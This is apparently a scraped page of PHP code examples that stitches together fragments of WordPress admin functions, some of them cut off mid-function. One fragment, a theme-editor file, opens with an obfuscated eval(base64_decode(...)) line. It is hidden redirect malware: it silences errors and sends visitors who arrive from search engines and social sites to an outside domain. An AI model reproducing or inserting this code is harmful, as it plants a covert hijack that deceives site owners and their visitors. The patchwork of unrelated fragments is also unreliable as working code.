		$tabs['upload'] = __( 'Upload' );
		$tabs['featured'] = _x( 'Featured','Theme Installer' );
		//$tabs['popular']  = _x( 'Popular','Theme Installer' );
		$tabs['new']      = _x( 'Newest','Theme Installer' );
		$tabs['updated']  = _x( 'Recently Updated','Theme Installer' );

		$nonmenu_tabs = array( 'theme-information' ); // Valid actions to perform which do not have a Menu item.

		$tabs = apply_filters( 'install_themes_tabs', $tabs );
		$nonmenu_tabs = apply_filters( 'install_themes_nonmenu_tabs', $nonmenu_tabs );

		// If a non-valid menu tab has been selected, And its not a non-menu action.
		if ( empty( $tab ) || ( ! isset( $tabs[ $tab ] ) && ! in_array( $tab, (array) $nonmenu_tabs ) ) )
			$tab = key( $tabs );

		$args = array( 'page' => $paged, 'per_page' => $per_page, 'fields' => $theme_field_defaults );

		switch ( $tab ) {
			case 'search':
				$type = isset( $_REQUEST['type'] ) ? stripslashes( $_REQUEST['type'] ) : '';
				$term = isset( $_REQUEST['s'] ) ? stripslashes( $_REQUEST['s'] ) : '';

				switch ( $type ) {
					case 'tag':
						$terms = explode( ',', $term );
						$terms = array_map( 'trim', $terms );
						$terms = array_map( 'sanitize_title_with_dashes', $terms );
						$args['tag'] = $terms;
						break;
					case 'term':
						$args['search'] = $term;
						break;
					case 'author':
						$args['author'] = $term;
						break;
				}

				if ( !empty( $_POST['features'] ) ) {
					$terms = $_POST['features'];
					$terms = array_map( 'trim', $terms );
					$terms = array_map( 'sanitize_title_with_dashes', $terms );
					$args['tag'] = $terms;
					$_REQUEST['s'] = implode( ',', $terms );
					$_REQUEST['type'] = 'tag';
				}

				add_action( 'install_themes_table_header', 'install_theme_search_form' );
				break;

			case 'featured':
			//case 'popular':
			case 'new':
			case 'updated':
				$args['browse'] = $tab;
				break;

			default:
				$args = false;
		}

		if ( !$args )
			return;

		$api = themes_api( 'query_themes', $args );

		if ( is_wp_error( $api ) )
			wp_die( $api->get_error_message() . '</p> <p><a href="#" onclick="document.location.reload(); return false;">' . __( 'Try again' ) . '</a>' );

		$this->items = $api->themes;

		$this->set_pagination_args( array(
			'total_items' => $api->info['results'],
			'per_page' => $per_page,
		) );
	}
 public function prepare_items()
 {
     global $status, $plugins, $totals, $page, $orderby, $order, $s;
     wp_reset_vars(array('orderby', 'order', 's'));
     /**
      * Filter the full array of plugins to list in the Plugins list table.
      *
      * @since 3.0.0
      *
      * @see get_plugins()
      *
      * @param array $plugins An array of plugins to display in the list table.
      */
     $plugins = array('all' => apply_filters('all_plugins', get_plugins()), 'search' => array(), 'active' => array(), 'inactive' => array(), 'recently_activated' => array(), 'upgrade' => array(), 'mustuse' => array(), 'dropins' => array());
     $screen = $this->screen;
     if (!is_multisite() || $screen->in_admin('network') && current_user_can('manage_network_plugins')) {
         /**
          * Filter whether to display the advanced plugins list table.
          *
          * There are two types of advanced plugins - must-use and drop-ins -
          * which can be used in a single site or Multisite network.
          *
          * The $type parameter allows you to differentiate between the type of advanced
          * plugins to filter the display of. Contexts include 'mustuse' and 'dropins'.
          *
          * @since 3.0.0
          *
          * @param bool   $show Whether to show the advanced plugins for the specified
          *                     plugin type. Default true.
          * @param string $type The plugin type. Accepts 'mustuse', 'dropins'.
          */
         if (apply_filters('show_advanced_plugins', true, 'mustuse')) {
             $plugins['mustuse'] = get_mu_plugins();
         }
         /** This action is documented in wp-admin/includes/class-wp-plugins-list-table.php */
         if (apply_filters('show_advanced_plugins', true, 'dropins')) {
             $plugins['dropins'] = get_dropins();
         }
         if (current_user_can('update_plugins')) {
             $current = get_site_transient('update_plugins');
             foreach ((array) $plugins['all'] as $plugin_file => $plugin_data) {
                 if (isset($current->response[$plugin_file])) {
                     $plugins['all'][$plugin_file]['update'] = true;
                     $plugins['upgrade'][$plugin_file] = $plugins['all'][$plugin_file];
                 }
             }
         }
     }
     set_transient('plugin_slugs', array_keys($plugins['all']), DAY_IN_SECONDS);
     if (!$screen->in_admin('network')) {
         $recently_activated = get_option('recently_activated', array());
         foreach ($recently_activated as $key => $time) {
             if ($time + WEEK_IN_SECONDS < time()) {
                 unset($recently_activated[$key]);
             }
         }
         update_option('recently_activated', $recently_activated);
     }
     $plugin_info = get_site_transient('update_plugins');
     foreach ((array) $plugins['all'] as $plugin_file => $plugin_data) {
         // Extra info if known. array_merge() ensures $plugin_data has precedence if keys collide.
         if (isset($plugin_info->response[$plugin_file])) {
             $plugins['all'][$plugin_file] = $plugin_data = array_merge((array) $plugin_info->response[$plugin_file], $plugin_data);
         } elseif (isset($plugin_info->no_update[$plugin_file])) {
             $plugins['all'][$plugin_file] = $plugin_data = array_merge((array) $plugin_info->no_update[$plugin_file], $plugin_data);
         }
         // Filter into individual sections
         if (is_multisite() && !$screen->in_admin('network') && is_network_only_plugin($plugin_file) && !is_plugin_active($plugin_file)) {
             // On the non-network screen, filter out network-only plugins as long as they're not individually activated
             unset($plugins['all'][$plugin_file]);
         } elseif (!$screen->in_admin('network') && is_plugin_active_for_network($plugin_file)) {
             // On the non-network screen, filter out network activated plugins
             unset($plugins['all'][$plugin_file]);
         } elseif (!$screen->in_admin('network') && is_plugin_active($plugin_file) || $screen->in_admin('network') && is_plugin_active_for_network($plugin_file)) {
             // On the non-network screen, populate the active list with plugins that are individually activated
             // On the network-admin screen, populate the active list with plugins that are network activated
             $plugins['active'][$plugin_file] = $plugin_data;
         } else {
             if (!$screen->in_admin('network') && isset($recently_activated[$plugin_file])) {
                 // On the non-network screen, populate the recently activated list with plugins that have been recently activated
                 $plugins['recently_activated'][$plugin_file] = $plugin_data;
             }
             // Populate the inactive list with plugins that aren't activated
             $plugins['inactive'][$plugin_file] = $plugin_data;
         }
     }
     if ($s) {
         $status = 'search';
         $plugins['search'] = array_filter($plugins['all'], array($this, '_search_callback'));
     }
     $totals = array();
     foreach ($plugins as $type => $list) {
         $totals[$type] = count($list);
     }
     if (empty($plugins[$status]) && !in_array($status, array('all', 'search'))) {
         $status = 'all';
     }
     $this->items = array();
     foreach ($plugins[$status] as $plugin_file => $plugin_data) {
         // Translate, Don't Apply Markup, Sanitize HTML
         $this->items[$plugin_file] = _get_plugin_data_markup_translate($plugin_file, $plugin_data, false, true);
     }
     $total_this_page = $totals[$status];
     if ($orderby) {
         $orderby = ucfirst($orderby);
         $order = strtoupper($order);
         uasort($this->items, array($this, '_order_callback'));
     }
     $plugins_per_page = $this->get_items_per_page(str_replace('-', '_', $screen->id . '_per_page'), 999);
     $start = ($page - 1) * $plugins_per_page;
     if ($total_this_page > $plugins_per_page) {
         $this->items = array_slice($this->items, $start, $plugins_per_page);
     }
     $this->set_pagination_args(array('total_items' => $total_this_page, 'per_page' => $plugins_per_page));
 }
 /**
  *
  * @global array $tabs
  * @global string $tab
  * @global int $paged
  * @global string $type
  * @global string $term
  * @global string $wp_version
  */
 public function prepare_items()
 {
     include ABSPATH . 'wp-admin/includes/plugin-install.php';
     global $tabs, $tab, $paged, $type, $term;
     wp_reset_vars(array('tab'));
     $paged = $this->get_pagenum();
     $per_page = 30;
     // These are the tabs which are shown on the page
     $tabs = array();
     if ('search' == $tab) {
         $tabs['search'] = __('Search Results');
     }
     $tabs['featured'] = _x('Featured', 'Plugin Installer');
     $tabs['popular'] = _x('Popular', 'Plugin Installer');
     $tabs['recommended'] = _x('Recommended', 'Plugin Installer');
     $tabs['favorites'] = _x('Favorites', 'Plugin Installer');
     if ($tab === 'beta' || false !== strpos($GLOBALS['wp_version'], '-')) {
         $tabs['beta'] = _x('Beta Testing', 'Plugin Installer');
     }
     if (current_user_can('upload_plugins')) {
         // No longer a real tab. Here for filter compatibility.
         // Gets skipped in get_views().
         $tabs['upload'] = __('Upload Plugin');
     }
     $nonmenu_tabs = array('plugin-information');
     // Valid actions to perform which do not have a Menu item.
     /**
      * Filter the tabs shown on the Plugin Install screen.
      *
      * @since 2.7.0
      *
      * @param array $tabs The tabs shown on the Plugin Install screen. Defaults include 'featured', 'popular',
      *                    'recommended', 'favorites', and 'upload'.
      */
     $tabs = apply_filters('install_plugins_tabs', $tabs);
     /**
      * Filter tabs not associated with a menu item on the Plugin Install screen.
      *
      * @since 2.7.0
      *
      * @param array $nonmenu_tabs The tabs that don't have a Menu item on the Plugin Install screen.
      */
     $nonmenu_tabs = apply_filters('install_plugins_nonmenu_tabs', $nonmenu_tabs);
     // If a non-valid menu tab has been selected, And it's not a non-menu action.
     if (empty($tab) || !isset($tabs[$tab]) && !in_array($tab, (array) $nonmenu_tabs)) {
         $tab = key($tabs);
     }
     $args = array('page' => $paged, 'per_page' => $per_page, 'fields' => array('last_updated' => true, 'icons' => true, 'active_installs' => true), 'locale' => get_locale(), 'installed_plugins' => $this->get_installed_plugin_slugs());
     switch ($tab) {
         case 'search':
             $type = isset($_REQUEST['type']) ? wp_unslash($_REQUEST['type']) : 'term';
             $term = isset($_REQUEST['s']) ? wp_unslash($_REQUEST['s']) : '';
             switch ($type) {
                 case 'tag':
                     $args['tag'] = sanitize_title_with_dashes($term);
                     break;
                 case 'term':
                     $args['search'] = $term;
                     break;
                 case 'author':
                     $args['author'] = $term;
                     break;
             }
             break;
         case 'featured':
             $args['fields']['group'] = true;
             $this->orderby = 'group';
             // No break!
         // No break!
         case 'popular':
         case 'new':
         case 'beta':
         case 'recommended':
             $args['browse'] = $tab;
             break;
         case 'favorites':
             $user = isset($_GET['user']) ? wp_unslash($_GET['user']) : get_user_option('wporg_favorites');
             update_user_meta(get_current_user_id(), 'wporg_favorites', $user);
             if ($user) {
                 $args['user'] = $user;
             } else {
                 $args = false;
             }
             add_action('install_plugins_favorites', 'install_plugins_favorites_form', 9, 0);
             break;
         default:
             $args = false;
             break;
     }
     /**
      * Filter API request arguments for each Plugin Install screen tab.
      *
      * The dynamic portion of the hook name, `$tab`, refers to the plugin install tabs.
      * Default tabs include 'featured', 'popular', 'recommended', 'favorites', and 'upload'.
      *
      * @since 3.7.0
      *
      * @param array|bool $args Plugin Install API arguments.
      */
     $args = apply_filters("install_plugins_table_api_args_{$tab}", $args);
     if (!$args) {
         return;
     }
     $api = plugins_api('query_plugins', $args);
     if (is_wp_error($api)) {
         $this->error = $api;
         return;
     }
     $this->items = $api->plugins;
     if ($this->orderby) {
         uasort($this->items, array($this, 'order_callback'));
     }
     $this->set_pagination_args(array('total_items' => $api->info['results'], 'per_page' => $args['per_page']));
     if (isset($api->info['groups'])) {
         $this->groups = $api->info['groups'];
     }
 }
Пример #29
0
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
/**
 * Theme editor administration panel.
 *
 * @package WordPress
 * @subpackage Administration
 */
/** WordPress Administration Bootstrap */
require_once 'admin.php';
if (!current_user_can('edit_themes')) {
    wp_die('<p>' . __('You do not have sufficient permissions to edit templates for this blog.') . '</p>');
}
$title = __("Edit Themes");
$parent_file = 'themes.php';
wp_reset_vars(array('action', 'redirect', 'profile', 'error', 'warning', 'a', 'file', 'theme', 'dir'));
wp_admin_css('theme-editor');
$themes = get_themes();
if (empty($theme)) {
    $theme = get_current_theme();
} else {
    $theme = stripslashes($theme);
}
if (!isset($themes[$theme])) {
    wp_die(__('The requested theme does not exist.'));
}
$allowed_files = array_merge($themes[$theme]['Stylesheet Files'], $themes[$theme]['Template Files']);
if (empty($file)) {
    $file = $allowed_files[0];
} else {
    $file = stripslashes($file);
 /**
  * Overrides {@link WP_Plugins_List_Table::prepare_items()}
  */
 function prepare_items()
 {
     global $status, $page, $orderby, $order, $s;
     wp_reset_vars(array('orderby', 'order'));
     $plugins = array('all' => ray_get_network_plugins_only(), 'search' => array(), 'active' => array(), 'inactive' => array(), 'recently_activated' => array(), 'upgrade' => array(), 'mustuse' => array(), 'dropins' => array());
     $screen = $this->screen;
     if (!is_multisite() || $screen->in_admin('network') && current_user_can('manage_network_plugins')) {
         if (current_user_can('update_plugins')) {
             $current = get_site_transient('update_plugins');
             foreach ((array) $plugins['all'] as $plugin_file => $plugin_data) {
                 if (isset($current->response[$plugin_file])) {
                     $plugins['all'][$plugin_file]['update'] = true;
                     $plugins['upgrade'][$plugin_file] = $plugins['all'][$plugin_file];
                 }
             }
         }
     }
     set_transient('plugin_slugs', array_keys($plugins['all']), DAY_IN_SECONDS);
     $recently_activated = get_site_option('recently_activated', array());
     foreach ($recently_activated as $key => $time) {
         if ($time + WEEK_IN_SECONDS < time()) {
             unset($recently_activated[$key]);
         }
     }
     update_site_option('recently_activated', $recently_activated);
     if (strlen($s)) {
         $status = 'search';
         $plugins['search'] = array_filter($plugins['all'], array($this, '_search_callback'));
     }
     $totals = array();
     foreach ($plugins as $type => $list) {
         $totals[$type] = count($list);
     }
     if (empty($plugins[$status]) && !in_array($status, array('all', 'search'))) {
         $status = 'all';
     }
     $this->items = array();
     foreach ($plugins[$status] as $plugin_file => $plugin_data) {
         // Translate, Don't Apply Markup, Sanitize HTML
         $this->items[$plugin_file] = _get_plugin_data_markup_translate($plugin_file, $plugin_data, false, true);
     }
     $total_this_page = $totals[$status];
     if (!$orderby) {
         $orderby = 'Name';
     } else {
         $orderby = ucfirst($orderby);
     }
     $order = strtoupper($order);
     uasort($this->items, array($this, '_order_callback'));
 }